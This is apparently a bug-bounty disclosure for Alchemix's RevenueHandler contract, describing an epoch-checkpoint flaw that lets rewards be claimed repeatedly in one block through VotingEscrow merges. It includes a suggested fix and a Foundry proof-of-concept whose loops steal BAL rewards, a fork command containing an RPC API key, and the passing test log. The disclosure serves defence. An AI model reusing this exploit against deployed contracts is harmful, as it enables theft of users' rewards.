The RevenueHandler contract receives the revenue from Alchemix protocol. One part of the revenue is sent to the treasury. The rest is distributed to users that have $veToken. Each $veToken can claim rewards once per epoch. Anyone can call the RevenueHandler.checkpoint interface to refresh the currentEpoch. However, the checkpoint interface allows the currentEpoch to be updated to the timestamp of the current block, allowing attackers to use VotingEscrow.merge to repeatedly claim rewards.
Vulnerability Details
Please look at the following code. When block.timestamp is equal to currentEpoch + WEEK, currentEpoch is updated to block.timestamp.
///// https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/RevenueHandler.sol#L228-L231
function checkpoint() public {
// only run checkpoint() once per epoch
if (block.timestamp >= currentEpoch + WEEK /* && initializer == address(0) */) {
currentEpoch = (block.timestamp / WEEK) * WEEK;
The RevenueHandler contract calculates the number of rewards that can be claimed for a certain $veToken based on the value of the $veToken at the currentEpoch time point. Please see the code below.
If currentEpoch can be set as the timestamp of the current block, then after the user claim the $veToken reward in the current block, he can transfer the value of $veToken to another $veToken through VotingEscrow.merge to continue claim it. The attack steps are briefly described below. Please see the PoC for details.
When the block.timestamp of the block happens to be currentEpoch + WEEK, the attacker calls RevenueHandler.checkpoint to update currentEpoch to block.timestamp
The attacker mints a $veTokenA and claim the reward
The attacker mints a $veTokenTemp worth 1 wei with a cost of ~0
The attacker merges $veTokenA into $veTokenTemp and claim rewards for $veTokenTemp
Treat $veTokenTemp as $veTokenA and go back to Step2
Note that all the above steps are run in the same block.
Suggested fix
Users should only be able to claim past rewards
function checkpoint() public {
// only run checkpoint() once per epoch
- if (block.timestamp >= currentEpoch + WEEK /* && initializer == address(0) */) {
+ if (block.timestamp > currentEpoch + WEEK /* && initializer == address(0) */) {
currentEpoch = (block.timestamp / WEEK) * WEEK;
Impact Details
Users can claim rewards repeatedly
References
None
Proof of Concept
The PoC patch
diff --git a/src/test/RevenueHandler.t.sol b/src/test/RevenueHandler.t.sol
index 7908478..dab62e9 100644
--- a/src/test/RevenueHandler.t.sol
+++ b/src/test/RevenueHandler.t.sol
@@ -644,4 +644,62 @@ contract RevenueHandlerTest is BaseTest {
revenueHandler.setTreasury(admin);
assertEq(revenueHandler.treasury(), admin, "treasury should be admin");
}
+
+ function testYttriumzzPocTemp() external {
+ // 0. Init test env
+ vm.warp((block.timestamp / 2 weeks) * 2 weeks);
+ hevm.startPrank(admin);
+ deal(bpt, admin, 10000e18);
+ IERC20(bpt).approve(address(veALCX), type(uint256).max);
+ veALCX.checkpoint();
+ veALCX.createLock(10000e18, 0, true);
+ hevm.stopPrank();
+
+ // 1. Start test and init BPT token
+ address attacker = address(0xa77ac8e3);
+ hevm.startPrank(attacker);
+ console.log(">>>>> Init balance of rewards token");
+ console.log(">> bal.balanceOf(attacker): %s", IERC20(bal).balanceOf(attacker));
+ console.log();
+
+ deal(bpt, attacker, 10000e18);
+ IERC20(bpt).approve(address(veALCX), type(uint256).max);
+
+ // 2. Checkpoint RevenueHandler
+ // It is required that `block.timestamp` is exactly `currentEpoch + WEEK`, `block.timestamp` is in seconds, so it is likely to happen.
+ deal(bal, address(revenueHandler), 100e18);
+ vm.warp(block.timestamp + 2 weeks);
+ revenueHandler.checkpoint();
+
+ // 3. Start steal rewards
+ // Step 3 and step 2 exist in the same block
+ console.log(">>>>> Claim the veToken");
+ veALCX.checkpoint();
+ uint256 tokenId1 = veALCX.createLock(1e18, 0, true);
+ revenueHandler.claim(tokenId1, bal, address(0), revenueHandler.claimable(tokenId1, bal), attacker);
+ console.log(">> bal.balanceOf(attacker): %s", IERC20(bal).balanceOf(attacker));
+ console.log();
+
+ console.log(">>>>> Start steal rewards 50 times");
+ for (uint256 i = 0; i < 50; i++) {
+ uint256 tokenIdTemp = veALCX.createLock(1, 0, true);
+ veALCX.merge(tokenId1, tokenIdTemp);
+ revenueHandler.claim(tokenIdTemp, bal, address(0), revenueHandler.claimable(tokenIdTemp, bal), attacker);
+ tokenId1 = tokenIdTemp;
+ }
+ console.log(">> bal.balanceOf(attacker): %s", IERC20(bal).balanceOf(attacker));
+ console.log();
+
+ console.log(">>>>> Start steal rewards 100 times");
+ for (uint256 i = 0; i < 100; i++) {
+ uint256 tokenIdTemp = veALCX.createLock(1, 0, true);
+ veALCX.merge(tokenId1, tokenIdTemp);
+ revenueHandler.claim(tokenIdTemp, bal, address(0), revenueHandler.claimable(tokenIdTemp, bal), attacker);
+ tokenId1 = tokenIdTemp;
+ }
+ console.log(">> bal.balanceOf(attacker): %s", IERC20(bal).balanceOf(attacker));
+ console.log();
+
+ hevm.stopPrank();
+ }
}
Run the PoC
FOUNDRY_PROFILE=default forge test --fork-url https://eth-mainnet.alchemyapi.io/v2/VFefkgjj8h3SgRYcCvmtp9KoMJJij6gD --fork-block-number 17133822 -vvv --match-test testYttriumzzPocTemp
The log
$ FOUNDRY_PROFILE=default forge test --fork-url https://eth-mainnet.alchemyapi.io/v2/VFefkgjj8h3SgRYcCvmtp9KoMJJij6gD --fork-block-number 17133822 -vvv --match-test testYttriumzzPocTemp
[⠊] Compiling...
No files changed, compilation skipped
Ran 1 test for src/test/RevenueHandler.t.sol:RevenueHandlerTest
[PASS] testYttriumzzPocTemp() (gas: 118159985)
Logs:
>>>>> Init balance of rewards token
>> bal.balanceOf(attacker): 0
>>>>> Claim the veToken
>> bal.balanceOf(attacker): 9999000099906589
>>>>> Start steal rewards 50 times
>> bal.balanceOf(attacker): 509949005095236039
>>>>> Start steal rewards 100 times
>> bal.balanceOf(attacker): 1509849015085894939
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 458.15ms (442.17ms CPU time)
Ran 1 test suite in 2.09s (458.15ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
